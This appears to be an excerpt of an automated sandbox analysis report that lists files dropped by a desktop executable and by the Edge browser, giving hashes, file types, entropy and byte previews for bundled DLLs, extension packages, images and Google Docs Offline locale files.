SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\382f8ddd-423f-45ce-ab87-15b7fa1a0c0f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\53918c58-9b4f-4927-a6b1-108d1056cc78.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\5c40ae8a-d814-4a96-8dc1-10df3571665f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\a07e5239-0001-4370-93ff-f878b4dd7537.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\b4e6b7f5-e049-47b4-a523-e66504073b5c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\b9a19dcb-9e53-496e-bc0b-4dc82eee35cc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1517619
Entropy (8bit):	7.991661201811585
Encrypted:	true
SSDEEP:	24576:OMBchRvoVlT46syL4BYBkdKh5SBo4zABO0S8pKN+ImcY5EHV4clLUefvLu:pBchRvo/T46sveB+Kh574zADNpK0HcYl
MD5:	0EA111BDA3BCC8D6CD465C93C1E776DB
SHA1:	11D02143725856A395E9E9831D7C4AE710A9D134
SHA-256:	81081BA1B8BE832E07A41D6D465DF04821DA557FCA04516F27A1005DD7A1BCD1
SHA-512:	7266631001A300415D50098A451632F775AF418E450C7C516001128D95D1F12C94904EEB9D7A891F054BB63836D1B32E3DF5148C85AF28E1DC56640EA20CDD3F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.407686479001225
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0xH5W65Wv0h:JIVuwEw5MUFZLBQLtsLj
MD5:	B82889CD3130B69BF43F8848BFDB306D
SHA1:	9DB796B94843C6FA2BFA3CE16897EA363100D58F
SHA-256:	A4FF727800EC830CD07D826E616B7545C79F5F474ADB1E9D33FD63C8E7E8C1C0
SHA-512:	FD825BA8FDE17CF78BE2798AC5F4A7A05415A40F26E034195373213BB6A07B4BCE8339409D5857A81497B4CF58470880ADE817E9041D47BC6619CB5E0699192F
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\dc4edc26-28cb-4d74-bf4b-eea7229996a1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\53918c58-9b4f-4927-a6b1-108d1056cc78.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\be\messages.json

Download File

